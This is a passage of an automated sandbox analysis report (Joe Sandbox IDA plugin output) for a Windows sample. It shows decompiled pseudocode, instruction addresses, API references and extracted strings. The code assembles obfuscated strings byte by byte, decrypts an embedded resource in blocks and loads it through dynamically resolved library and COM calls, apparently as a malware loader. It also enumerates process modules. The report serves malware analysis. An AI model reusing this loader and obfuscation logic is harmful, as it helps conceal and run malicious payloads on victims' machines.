						 *((char*)(_t557 + 0x24)) = 0xbf;
						 *((char*)(_t557 + 0x25)) = 0x45;
						 *((char*)(_t557 + 0x26)) = 0x3b;
						 *((char*)(_t557 + 0x27)) = 0x56;
						 *((char*)(_t557 + 0x28)) = 0xf8;
						 *((char*)(_t557 + 0x29)) = 0x98;
						 *((char*)(_t557 + 0x2a)) = 0x5b;
						 *((char*)(_t557 + 0x2b)) = 0xf4;
						 *((char*)(_t557 + 0x2c)) = 0xb5;
						 *((char*)(_t557 + 0x2d)) = 0x87;
						 *((char*)(_t557 + 0x2e)) = 0x7b;
						 *((char*)(_t557 + 0x2f)) = 0xf;
						 *((char*)(_t557 + 0x30)) = 0xf4;
						 *((char*)(_t557 + 0x31)) = 0x76;
						 *((char*)(_t557 + 0x32)) = 0xb9;
						 *((char*)(_t557 + 0x33)) = 0x34;
						 *((char*)(_t557 + 0x34)) = 0xbf;
						 *((char*)(_t557 + 0x35)) = 0x1e;
						 *((char*)(_t557 + 0x36)) = 0xe7;
						 *((char*)(_t557 + 0x37)) = 0x78;
						 *((char*)(_t557 + 0x38)) = 0x98;
						 *((char*)(_t557 + 0x39)) = 0xe9;
						 *((char*)(_t557 + 0x3a)) = 0x6f;
						 *((char*)(_t557 + 0x3b)) = 0xb4;
						 *((char*)(_t557 + 0x3c)) = 0;
						_t344 = E00401650(_t557 + 0x18, _t557 + 0x158);
						_t558 = _t557 + 8;
						_t536 = FindResourceA(_t526, _t344, 0xa);
						 *(_t558 + 0x50) = _t536;
						_t551 = LoadResource(_t526, _t536);
						 *((intOrPtr*)(_t558 + 0x44)) = LockResource(_t551);
						_t349 = E0040B84D(0, _t557 + 0x18, _t526, SizeofResource(_t526, _t536)); // executed
						_push(0x40022);
						_t537 = _t349; // executed
						_t350 = E0040AF66(0, _t526, __eflags); // executed
						_t559 = _t558 + 8;
						 *(_t559 + 0x34) = _t350;
						__eflags = _t350;
						if(_t350 == 0) {
							 *(_t559 + 0x50) = 0;
						} else {
							E0040BA30(_t526, _t350, 0, 0x40022);
							_t486 =  *(_t559 + 0x40);
							_t559 = _t559 + 0xc;
							 *(_t559 + 0x50) = _t486;
						}
						E00401300( *(_t559 + 0x50));
						_t497 =  *(_t559 + 0x48);
						_t352 = SizeofResource(_t526, _t497);
						 *(_t559 + 0x40) = _t352;
						asm("cdq");
						_t354 = _t352 + (_t497 & 0x000003ff) >> 0xa;
						__eflags = _t354;
						if(_t354 > 0) {
							_t519 =  *(_t559 + 0x3c);
							_t482 = _t537 - _t519;
							__eflags = _t482;
							 *(_t559 + 0x34) = _t519;
							 *(_t559 + 0x88) = _t482;
							 *(_t559 + 0x38) = _t354;
							do {
								_t424 =  *(_t559 + 0x34);
								_push( *(_t559 + 0x88) + _t424);
								_push(0x400);
								_push(_t424);
								E00401560(0,  *((intOrPtr*)(_t559 + 0x54)));
								 *(_t559 + 0x34) =  *(_t559 + 0x34) + 0x400;
								_t179 = _t559 + 0x38;
								 *_t179 =  *(_t559 + 0x38) - 1;
								__eflags =  *_t179;
							} while ( *_t179 != 0);
						}
						_t448 =  *(_t559 + 0x40) & 0x800003ff;
						__eflags = _t448;
						if(_t448 < 0) {
							_t448 = (_t448 - 0x00000001 | 0xfffffc00) + 1;
							__eflags = _t448;
						}
						__eflags = _t448;
						if(_t448 > 0) {
							_t421 =  *(_t559 + 0x40) - _t448;
							_push(_t421 + _t537);
							_push(_t448);
							_t422 = _t421 +  *((intOrPtr*)(_t559 + 0x44));
							__eflags = _t422;
							_push(_t422);
							E00401560(0,  *((intOrPtr*)(_t559 + 0x58)));
						}
						E0040BA30(_t526,  *(_t559 + 0x3c), 0,  *(_t559 + 0x40));
						_t560 = _t559 + 0xc;
						FreeResource(_t551);
						_t552 =  *_t537;
						 *((intOrPtr*)(_t560 + 0x94)) = _t552;
						_t358 = E0040B84D(0,  *(_t559 + 0x40), _t526, _t552); // executed
						_t561 = _t560 + 4;
						 *((intOrPtr*)(_t561 + 0x40)) = _t358;
						_t359 = SizeofResource(_t526,  *(_t560 + 0x4c));
						_t527 =  *((intOrPtr*)(_t561 + 0x38));
						_t192 = _t537 + 4; // 0x4
						E0040AC60(_t527, _t561 + 0x98, _t192, _t359);
						E0040BA30(_t527, _t537, 0,  *((intOrPtr*)(_t561 + 0x50)));
						_t528 = _t527 + 0xe;
						 *((char*)(_t561 + 0x34)) = 0xce;
						 *((char*)(_t561 + 0x35)) = 0x27;
						 *((char*)(_t561 + 0x36)) = 0x9c;
						 *((char*)(_t561 + 0x37)) = 0x1a;
						 *((char*)(_t561 + 0x38)) = 0x95;
						 *((char*)(_t561 + 0x39)) = 0x21;
						 *((char*)(_t561 + 0x3a)) = 0x2e;
						 *((char*)(_t561 + 0x3b)) = 0xd;
						 *((char*)(_t561 + 0x3c)) = 0xdb;
						 *((char*)(_t561 + 0x3d)) = 0x29;
						 *((char*)(_t561 + 0x3e)) = 0x57;
						 *((char*)(_t561 + 0x3f)) = 0x56;
						 *((char*)(_t561 + 0x40)) = 0xf8;
						 *((char*)(_t561 + 0x41)) = 0x98;
						 *((char*)(_t561 + 0x42)) = 0x5b;
						 *((char*)(_t561 + 0x43)) = 0xf4;
						 *((char*)(_t561 + 0x44)) = 0xb5;
						 *((char*)(_t561 + 0x45)) = 0x87;
						 *((char*)(_t561 + 0x46)) = 0x7b;
						 *((char*)(_t561 + 0x47)) = 0xf;
						 *((char*)(_t561 + 0x48)) = 0xf4;
						 *((char*)(_t561 + 0x49)) = 0x76;
						 *((char*)(_t561 + 0x4a)) = 0xb9;
						 *((char*)(_t561 + 0x4b)) = 0x34;
						 *((char*)(_t561 + 0x4c)) = 0xbf;
						 *((char*)(_t561 + 0x4d)) = 0x1e;
						 *((char*)(_t561 + 0x4e)) = 0xe7;
						 *((char*)(_t561 + 0x4f)) = 0x78;
						 *((char*)(_t561 + 0x50)) = 0x98;
						 *((char*)(_t561 + 0x51)) = 0xe9;
						 *((char*)(_t561 + 0x52)) = 0x6f;
						 *((char*)(_t561 + 0x53)) = 0xb4;
						 *((char*)(_t561 + 0x54)) = 0;
						_t364 = E00401650(_t561 + 0x30, _t561 + 0x110);
						_t562 = _t561 + 0x24;
						_t365 = LoadLibraryA(_t364); // executed
						_t538 = _t365;
						 *((char*)(_t562 + 0x10)) = 0xe0;
						 *((char*)(_t562 + 0x11)) = 0x18;
						 *((char*)(_t562 + 0x12)) = 0xad;
						 *((char*)(_t562 + 0x13)) = 0x36;
						 *((char*)(_t562 + 0x14)) = 0x95;
						 *((char*)(_t562 + 0x15)) = 0x21;
						_t451 = _t562 + 0x134;
						 *((char*)(_t562 + 0x1e)) = 0x2a;
						 *((char*)(_t562 + 0x1f)) = 0x57;
						 *((char*)(_t562 + 0x20)) = 0xda;
						 *((char*)(_t562 + 0x21)) = 0xc;
						 *((char*)(_t562 + 0x22)) = 0x55;
						 *((char*)(_t562 + 0x23)) = 0x25;
						 *((char*)(_t562 + 0x24)) = 0x8c;
						 *((char*)(_t562 + 0x25)) = 0xf9;
						 *((char*)(_t562 + 0x26)) = 0x35;
						 *((char*)(_t562 + 0x27)) = 0x97;
						 *((char*)(_t562 + 0x28)) = 0xd0;
						 *((char*)(_t562 + 0x29)) = 0x87;
						 *((char*)(_t562 + 0x2a)) = 0x7b;
						 *((char*)(_t562 + 0x2b)) = 0xf;
						 *((char*)(_t562 + 0x2c)) = 0xf4;
						 *((char*)(_t562 + 0x2d)) = 0x76;
						 *((char*)(_t562 + 0x2e)) = 0xb9;
						 *((char*)(_t562 + 0x2f)) = 0x34;
						 *((char*)(_t562 + 0x30)) = 0xbf;
						 *((char*)(_t562 + 0x31)) = 0x1e;
						 *((char*)(_t562 + 0x32)) = 0xe7;
						 *((char*)(_t562 + 0x33)) = 0x78;
						 *((char*)(_t562 + 0x34)) = 0x98;
						 *((char*)(_t562 + 0x35)) = 0xe9;
						 *((char*)(_t562 + 0x36)) = 0x6f;
						 *((char*)(_t562 + 0x37)) = 0xb4;
						 *((char*)(_t562 + 0x38)) = 0;
						_t366 = E00401650(_t562 + 0x14, _t451);
						_t563 = _t562 + 8;
						_t367 = GetProcAddress(_t365, _t366);
						__eflags = _t367;
						_t452 = _t451 & 0xffffff00 | _t367 != 0x00000000;
						__eflags = _t452;
						 *(_t563 + 0x47) = _t452 == 0;
						 *0x423480 = _t367;
						 *((intOrPtr*)(_t563 + 0x80)) = 0;
						 *((intOrPtr*)(_t563 + 0x84)) = 0;
						 *((intOrPtr*)(_t563 + 0x4c)) = 0;
						 *(_t563 + 0x58) = 0;
						 *(_t563 + 0x54) = 0;
						__eflags = _t452;
						if(_t452 != 0) {
							_t368 =  *_t367(0x41b230, 0x41b220, _t563 + 0x80); // executed
							__eflags = _t368;
							if(_t368 >= 0) {
								__eflags =  *(_t563 + 0x47);
								if( *(_t563 + 0x47) == 0) {
									 *((intOrPtr*)(_t563 + 0x17c)) = _t563 + 0x17c;
									E004018F0( *((intOrPtr*)(_t563 + 0x38)), _t563 + 0x17c, _t563 + 0x17c,  *((intOrPtr*)(_t563 + 0x38)), 3);
									_t376 =  *((intOrPtr*)(_t563 + 0x80));
									_t378 =  *((intOrPtr*)( *((intOrPtr*)( *_t376 + 0xc))))(_t376,  *((intOrPtr*)(_t563 + 0x178)), 0x41b240, _t563 + 0x84); // executed
									__eflags = _t378;
									if(_t378 >= 0) {
										_t381 =  *((intOrPtr*)(_t563 + 0x84));
										_t383 =  *((intOrPtr*)( *((intOrPtr*)( *_t381 + 0x24))))(_t381, 0x41b210, 0x41b290, _t563 + 0x4c); // executed
										__eflags = _t383;
										if(_t383 >= 0) {
											_t384 =  *((intOrPtr*)(_t563 + 0x4c));
											_t385 =  *((intOrPtr*)( *((intOrPtr*)( *_t384 + 0x28))))(_t384); // executed
											__eflags = _t385;
											if(_t385 >= 0) {
												 *((intOrPtr*)(_t563 + 0x38)) = 0;
												E00401870(_t563 + 0x44, _t552, "_._");
												_t539 = __imp__#8;
												 *((intOrPtr*)(_t563 + 0x40)) = 0;
												 *_t539(_t563 + 0x94);
												E00401870(_t563 + 0x3c, _t552, "___");
												 *_t539(_t563 + 0xa4);
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t563 + 0x4c)))) + 0x34))))( *((intOrPtr*)(_t563 + 0x50)), E004018D0(_t563 + 0x58)); // executed
												_t542 =  *(_t563 + 0x58);
												__eflags = _t542;
												if(_t542 == 0) {
													E0040AD90(0x80004003);
												}
												_t396 =  *((intOrPtr*)( *((intOrPtr*)( *_t542))))(_t542, 0x41b270, E004018D0(_t563 + 0x54));
												 *((intOrPtr*)(_t563 + 0x94)) = _t552 + 0xfffffff2;
												 *((intOrPtr*)(_t563 + 0x98)) = 0;
												__imp__#15(0x11, 1, _t563 + 0x88); // executed
												_t543 = _t396;
												 *((intOrPtr*)(_t563 + 0x50)) = 0;
												__imp__#23(_t543, _t563 + 0x48);
												E0040B350(0, _t528, _t543,  *((intOrPtr*)(_t563 + 0x48)), _t528, _t552 + 0xfffffff2);
												_t564 = _t563 + 0xc;
												__imp__#24(_t543);
												_t399 =  *(_t564 + 0x54);
												__eflags = _t399;
												if(_t399 == 0) {
													_t399 = E0040AD90(0x80004003);
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t399 + 0xb4))))(_t399, _t543, E004018D0(_t564 + 0x34)); // executed
												__eflags = _t543;
												if(_t543 != 0) {
													__imp__#16(_t543);
												}
												_t402 =  *(_t564 + 0x34);
												__eflags = _t402;
												if(_t402 == 0) {
													_t402 = E0040AD90(0x80004003);
												}
												_t469 =  *(_t564 + 0x40);
												_t555 = _t402;
												__eflags = _t469;
												if(_t469 == 0) {
													_t531 = 0;
													__eflags = 0;
												} else {
													_t531 =  *_t469;
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t402 + 0x44))))(_t555, _t531, E004018D0(_t564 + 0x3c)); // executed
												__imp__#411(0xc, 0, 0);
												_t471 =  *(_t564 + 0x3c);
												__eflags = _t471;
												if(_t471 == 0) {
													E0040AD90(0x80004003);
												}
												_t405 =  *(_t564 + 0x38);
												__eflags = _t405;
												if(_t405 == 0) {
													_t514 = 0;
													__eflags = 0;
												} else {
													_t514 =  *_t405;
												}
												_t563 = _t564 - 0x10;
												_t407 = _t563;
												 *_t407 =  *((intOrPtr*)(_t564 + 0x94));
												 *((intOrPtr*)(_t407 + 4)) =  *((intOrPtr*)(_t563 + 0xb0));
												 *((intOrPtr*)(_t407 + 8)) =  *((intOrPtr*)(_t563 + 0xb8));
												_t528 =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)(_t407 + 0xc)) =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)( *((intOrPtr*)( *_t471 + 0xe4))))(_t471, _t514, 0x118, 0, 0, _t564 + 0xa4);
												_t538 = __imp__#9; // 0x742dcf00
												_t538->i(_t563 + 0xa4);
												E004019A0(_t563 + 0x38);
												_t538->i(_t563 + 0x94);
												_t413 =  *(_t563 + 0x3c);
												__eflags = _t413;
												if(_t413 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t413 + 8))))(_t413);
												}
												E004019A0(_t563 + 0x40);
												_t415 =  *(_t563 + 0x34);
												__eflags = _t415;
												if(_t415 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t415 + 8))))(_t415);
												}
											}
										}
									}
									_t379 =  *((intOrPtr*)(_t563 + 0x174));
									__eflags = _t379 - _t563 + 0x178;
									if(__eflags != 0) {
										_push(_t379);
										E0040B6B5(0, _t528, _t538, __eflags);
										_t563 = _t563 + 4;
									}
								}
							}
							_t369 =  *(_t563 + 0x54);
							__eflags = _t369;
							if(_t369 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t369 + 8))))(_t369);
							}
							_t370 =  *(_t563 + 0x58);
							__eflags = _t370;
							if(_t370 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t370 + 8))))(_t370);
							}
						}
						goto L80;
					} else {
						_t428 = E00401650(_t557 + 0x60, _t557 + 0xd4);
						_t565 = _t557 + 8;
						_t547 = _t428;
						_t520 = _t565 + 0x298;
						while(1) {
							_t429 =  *_t520;
							if(_t429 !=  *_t547) {
								break;
							}
							if(_t429 == 0) {
								L7:
								_t429 = 0;
							} else {
								_t493 =  *((intOrPtr*)(_t520 + 1));
								if(_t493 !=  *((intOrPtr*)(_t547 + 1))) {
									break;
								} else {
									_t520 = _t520 + 2;
									_t547 = _t547 + 2;
									if(_t493 != 0) {
										continue;
									} else {
										goto L7;
									}
								}
							}
							L9:
							if(_t429 != 0) {
								_t431 = E00401650(_t565 + 0x14, _t565 + 0xb4);
								_t557 = _t565 + 8;
								_t548 = _t431;
								_t488 = _t557 + 0x298;
								while(1) {
									_t432 =  *_t488;
									__eflags = _t432 -  *_t548;
									if(_t432 !=  *_t548) {
										break;
									}
									__eflags = _t432;
									if(_t432 == 0) {
										L16:
										_t432 = 0;
									} else {
										_t432 =  *((intOrPtr*)(_t488 + 1));
										__eflags = _t432 -  *((intOrPtr*)(_t548 + 1));
										if(_t432 !=  *((intOrPtr*)(_t548 + 1))) {
											break;
										} else {
											_t488 = _t488 + 2;
											_t548 = _t548 + 2;
											__eflags = _t432;
											if(_t432 != 0) {
												continue;
											} else {
												goto L16;
											}
										}
									}
									L18:
									__eflags = _t432;
									if(_t432 == 0) {
										goto L10;
									} else {
										_t435 = Module32Next(_t525, _t557 + 0x278);
										__eflags = _t435;
										if(_t435 != 0) {
											do {
												_t437 = E00401650(_t557 + 0x60, _t557 + 0xd4);
												_t566 = _t557 + 8;
												_t549 = _t437;
												_t490 = _t566 + 0x298;
												while(1) {
													_t438 =  *_t490;
													__eflags = _t438 -  *_t549;
													if(_t438 !=  *_t549) {
														break;
													}
													__eflags = _t438;
													if(_t438 == 0) {
														L26:
														_t438 = 0;
													} else {
														_t438 =  *((intOrPtr*)(_t490 + 1));
														__eflags = _t438 -  *((intOrPtr*)(_t549 + 1));
														if(_t438 !=  *((intOrPtr*)(_t549 + 1))) {
															break;
														} else {
															_t490 = _t490 + 2;
															_t549 = _t549 + 2;
															__eflags = _t438;
															if(_t438 != 0) {
																continue;
															} else {
																goto L26;
															}
														}
													}
													L28:
													__eflags = _t438;
													if(_t438 == 0) {
														goto L10;
													} else {
														_t439 = E00401650(_t566 + 0x14, _t566 + 0xb4);
														_t557 = _t566 + 8;
														_t550 = _t439;
														_t492 = _t557 + 0x298;
														while(1) {
															_t440 =  *_t492;
															__eflags = _t440 -  *_t550;
															if(_t440 !=  *_t550) {
																break;
															}
															__eflags = _t440;
															if(_t440 == 0) {
																L34:
																_t440 = 0;
															} else {
																_t440 =  *((intOrPtr*)(_t492 + 1));
																__eflags = _t440 -  *((intOrPtr*)(_t550 + 1));
																if(_t440 !=  *((intOrPtr*)(_t550 + 1))) {
																	break;
																} else {
																	_t492 = _t492 + 2;
																	_t550 = _t550 + 2;
																	__eflags = _t440;
																	if(_t440 != 0) {
																		continue;
																	} else {
																		goto L34;
																	}
																}
															}
															L36:
															__eflags = _t440;
															if(_t440 == 0) {
																goto L10;
															} else {
																goto L37;
															}
															goto L81;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														goto L36;
													}
													goto L81;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												goto L28;
												L37:
												_t442 = Module32Next(_t525, _t557 + 0x278);
												__eflags = _t442;
											} while (_t442 != 0);
										}
										goto L38;
									}
									goto L81;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								goto L18;
							} else {
								L10:
								CloseHandle(_t525);
								return 0;
							}
							goto L81;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						goto L9;
					}
				}
				L81:
			}

0x004019f0
0x004019f0
0x004019fd
0x00401a10
0x00401a15
0x00401a1a
0x00401a1f
0x00401a24
0x00401a29
0x00401a2e
0x00401a33
0x00401a38
0x00401a3d
0x00401a42
0x00401a47
0x00401a4c
0x00401a51
0x00401a56
0x00401a5b
0x00401a60
0x00401a65
0x00401a6a
0x00401a6f
0x00401a74
0x00401a79
0x00401a7e
0x00401a83
0x00401a88
0x00401a8d
0x00401a92
0x00401a97
0x00401a9c
0x00401aa1
0x00401aa6
0x00401aab
0x00401ab0
0x00401ab9
0x00401aba
0x00401abf
0x00401ac7
0x0040248d
0x0040248d
0x00402496
0x00401acd
0x00401ad6
0x00401ae2
0x00401ae6
0x00401af1
0x00401af6
0x00401afb
0x00401b00
0x00401b05
0x00401b0a
0x00401b0f
0x00401b14
0x00401b19
0x00401b1e
0x00401b23
0x00401b28
0x00401b2d
0x00401b32
0x00401b37
0x00401b3c
0x00401b41
0x00401b46
0x00401b4b
0x00401b50
0x00401b55
0x00401b5a
0x00401b5f
0x00401b64
0x00401b69
0x00401b6e
0x00401b73
0x00401b78
0x00401b7d
0x00401b85
0x00401b8d
0x00401b95
0x00401b9d
0x00401ba4
0x00401ba9
0x00401bae
0x00401bb3
0x00401bb8
0x00401bbd
0x00401bc2
0x00401bc7
0x00401bcc
0x00401bd1
0x00401bd6
0x00401bdb
0x00401be0
0x00401be5
0x00401bea
0x00401bef
0x00401bf4
0x00401bf9
0x00401bfe
0x00401c03
0x00401c08
0x00401c0d
0x00401c12
0x00401c17
0x00401c1c
0x00401c21
0x00401c26
0x00401c2b
0x00401c30
0x00401c35
0x00401c3a
0x00401c3f
0x00401c44
0x00401c48
0x00401c4f
0x00401dc3
0x00401dc4
0x00401de0
0x00401de2
0x00401de7
0x00401dec
0x00401df1
0x00401df6
0x00401dfb
0x00401e00
0x00401e05
0x00401e0a
0x00401e0f
0x00401e14
0x00401e19
0x00401e1e
0x00401e23
0x00401e28
0x00401e2d
0x00401e32
0x00401e37
0x00401e3c
0x00401e41
0x00401e46
0x00401e4b
0x00401e50
0x00401e55
0x00401e5a
0x00401e5f
0x00401e64
0x00401e69
0x00401e6e
0x00401e73
0x00401e78
0x00401e7d
0x00401e82
0x00401e86
0x00401e8b
0x00401e96
0x00401e9a
0x00401ea4
0x00401eaf
0x00401eba
0x00401ebf
0x00401ec4
0x00401ec6
0x00401ecb
0x00401ece
0x00401ed2
0x00401ed4
0x00401eef
0x00401ed6
0x00401edd
0x00401ee2
0x00401ee6
0x00401ee9
0x00401ee9
0x00401ef7
0x00401efc
0x00401f02
0x00401f08
0x00401f0c
0x00401f15
0x00401f18
0x00401f1a
0x00401f1c
0x00401f22
0x00401f22
0x00401f24
0x00401f28
0x00401f2f
0x00401f33
0x00401f33
0x00401f40
0x00401f45
0x00401f4a
0x00401f4b
0x00401f50
0x00401f58
0x00401f58
0x00401f58
0x00401f58
0x00401f33
0x00401f63
0x00401f63
0x00401f69
0x00401f72
0x00401f72
0x00401f72
0x00401f73
0x00401f75
0x00401f7b
0x00401f80
0x00401f81
0x00401f86
0x00401f86
0x00401f8c
0x00401f8d
0x00401f8d
0x00401f9d
0x00401fa2
0x00401fa6
0x00401fac
0x00401faf
0x00401fb6
0x00401fbf
0x00401fc4
0x00401fc8
0x00401fce
0x00401fd3
0x00401fe0
0x00401fec
0x00401ffe
0x00402001
0x00402006
0x0040200b
0x00402010
0x00402015
0x0040201a
0x0040201f
0x00402024
0x00402029
0x0040202e
0x00402033
0x00402038
0x0040203d
0x00402042
0x00402047
0x0040204c
0x00402051
0x00402056
0x0040205b
0x00402060
0x00402065
0x0040206a
0x0040206f
0x00402074
0x00402079
0x0040207e
0x00402083
0x00402088
0x0040208d
0x00402092
0x00402097
0x0040209c
0x004020a1
0x004020a5
0x004020aa
0x004020ae
0x004020b4
0x004020b6
0x004020bb
0x004020c0
0x004020c5
0x004020ca
0x004020cf
0x004020d4
0x004020e1
0x004020e6
0x004020eb
0x004020f0
0x004020f5
0x004020fa
0x004020ff
0x00402104
0x00402109
0x0040210e
0x00402113
0x00402118
0x0040211d
0x00402122
0x00402127
0x0040212c
0x00402131
0x00402136
0x0040213b
0x00402140
0x00402145
0x0040214a
0x0040214f
0x00402154
0x00402159
0x0040215e
0x00402163
0x00402167
0x0040216c
0x00402171
0x00402177
0x00402179
0x0040217c
0x0040217e
0x00402183
0x00402188
0x0040218f
0x00402196
0x0040219a
0x0040219e
0x004021a2
0x004021a4
0x004021bc
0x004021be
0x004021c0
0x004021c6
0x004021ca
0x004021e5
0x004021ec
0x004021f1
0x00402213
0x00402215
0x00402217
0x0040221d
0x00402239
0x0040223b
0x0040223d
0x00402243
0x0040224d
0x0040224f
0x00402251
0x00402260
0x00402264
0x00402269
0x00402277
0x0040227b
0x00402286
0x00402293
0x004022af
0x004022b1
0x004022b5
0x004022b7
0x004022be
0x004022be
0x004022d7
0x004022e8
0x004022ef
0x004022f6
0x00402300
0x00402304
0x00402308
0x00402315
0x0040231a
0x0040231e
0x00402324
0x00402328
0x0040232a
0x00402331
0x00402331
0x0040234e
0x00402350
0x00402352
0x00402355
0x00402355
0x0040235b
0x0040235f
0x00402361
0x00402368
0x00402368
0x0040236d
0x00402371
0x00402373
0x00402375
0x0040237b
0x0040237b
0x00402377
0x00402377
0x00402377
0x00402390
0x00402396
0x0040239c
0x004023a0
0x004023a2
0x004023a9
0x004023a9
0x004023ae
0x004023b2
0x004023b4
0x004023ba
0x004023ba
0x004023b6
0x004023b6
0x004023b6
0x004023ce
0x004023d1
0x004023d3
0x004023dd
0x004023ec
0x004023ef
0x004023fe
0x00402401
0x00402403
0x00402411
0x00402417
0x00402424
0x00402426
0x0040242a
0x0040242c
0x00402434
0x00402434
0x0040243a
0x0040243f
0x00402443
0x00402445
0x0040244d
0x0040244d
0x00402445
0x00402251
0x0040223d
0x0040244f
0x0040245d
0x0040245f
0x00402461
0x00402462
0x00402467
0x00402467
0x0040245f
0x004021ca
0x0040246a
0x0040246e
0x00402470
0x00402478
0x00402478
0x0040247a
0x0040247e
0x00402480
0x00402488
0x00402488
0x00402480
0x00000000
0x00401c55
0x00401c62
0x00401c67
0x00401c6a
0x00401c6c
0x00401c73
0x00401c73
0x00401c77
0x00000000
0x00000000
0x00401c7b
0x00401c8f
0x00401c8f
0x00401c7d
0x00401c7d
0x00401c83
0x00000000
0x00401c85
0x00401c85
0x00401c88
0x00401c8d
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c8d
0x00401c83
0x00401c98
0x00401c9a
0x00401cbd
0x00401cc2
0x00401cc5
0x00401cc7
0x00401cd0
0x00401cd0
0x00401cd2
0x00401cd4
0x00000000
0x00000000
0x00401cd6
0x00401cd8
0x00401cec
0x00401cec
0x00401cda
0x00401cda
0x00401cdd
0x00401ce0
0x00000000
0x00401ce2
0x00401ce2
0x00401ce5
0x00401ce8
0x00401cea
0x00000000
0x00000000
0x00000000
0x00000000
0x00401cea
0x00401ce0
0x00401cf5
0x00401cf5
0x00401cf7
0x00000000
0x00401cf9
0x00401d02
0x00401d07
0x00401d09
0x00401d10
0x00401d1d
0x00401d22
0x00401d25
0x00401d27
0x00401d30
0x00401d30
0x00401d32
0x00401d34
0x00000000
0x00000000
0x00401d36
0x00401d38
0x00401d4c
0x00401d4c
0x00401d3a
0x00401d3a
0x00401d3d
0x00401d40
0x00000000
0x00401d42
0x00401d42
0x00401d45
0x00401d48
0x00401d4a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d4a
0x00401d40
0x00401d55
0x00401d55
0x00401d57
0x00000000
0x00401d5d
0x00401d6a
0x00401d6f
0x00401d72
0x00401d74
0x00401d80
0x00401d80
0x00401d82
0x00401d84
0x00000000
0x00000000
0x00401d86
0x00401d88
0x00401d9c
0x00401d9c
0x00401d8a
0x00401d8a
0x00401d8d
0x00401d90
0x00000000
0x00401d92
0x00401d92
0x00401d95
0x00401d98
0x00401d9a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d9a
0x00401d90
0x00401da5
0x00401da5
0x00401da7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00401da7
0x00401da0
0x00401da2
0x00000000
0x00401da2
0x00000000
0x00401d57
0x00401d50
0x00401d52
0x00000000
0x00401dad
0x00401db6
0x00401dbb
0x00401dbb
0x00401d10
0x00000000
0x00401d09
0x00000000
0x00401cf7
0x00401cf0
0x00401cf2
0x00000000
0x00401c9c
0x00401c9c
0x00401c9d
0x00401caf
0x00401caf
0x00000000
0x00401c9a
0x00401c93
0x00401c95
0x00000000
0x00401c95
0x00401c4f
0x00000000

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000000,?), ref: 00401C9D
Module32Next.KERNEL32 ref: 00401D02
Module32Next.KERNEL32 ref: 00401DB6
FindCloseChangeNotification.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000000), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

o, xrefs: 00401B8D
{, xrefs: 0040205B
', xrefs: 00401AF6
h, xrefs: 00401A6F
E, xrefs: 00401E0F
6, xrefs: 004020C5
", xrefs: 00401B0F
[, xrefs: 00402047
o, xrefs: 00402097
5, xrefs: 00402109
., xrefs: 0040201F
!, xrefs: 0040201A
., xrefs: 00401B0A
v, xrefs: 0040206A
*, xrefs: 004020E1
8, xrefs: 00401BA9
W, xrefs: 00402033
W, xrefs: 00401B23
x, xrefs: 00401E69
4, xrefs: 00401B64
x, xrefs: 00402088
W, xrefs: 004020E6
:, xrefs: 00401B28
!, xrefs: 004020CF
4, xrefs: 00402136
PPNs, xrefs: 00402183
{, xrefs: 0040211D
[, xrefs: 00401B37
D, xrefs: 00401DFB
___, xrefs: 0040227D
v, xrefs: 00401E4B
*, xrefs: 00401A1F
v, xrefs: 0040212C
x, xrefs: 00401B78
_._, xrefs: 00402257
%, xrefs: 004020FA
v, xrefs: 00401B5A
V, xrefs: 00402038
{, xrefs: 00401E3C
0, xrefs: 00401BBD
V, xrefs: 00401E19
!, xrefs: 00401B1E
4, xrefs: 00402074
', xrefs: 00402006
W, xrefs: 00401B14
x, xrefs: 0040214A
U, xrefs: 004020F5
{, xrefs: 00401B4B
o, xrefs: 00402159
), xrefs: 0040202E

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: Resource$Module32$CloseFindHandleNextSizeof$ChangeCreateCurrentFirstInitializeLoadLockModuleNotificationProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$PPNs$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 2366190142-1649027716
Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
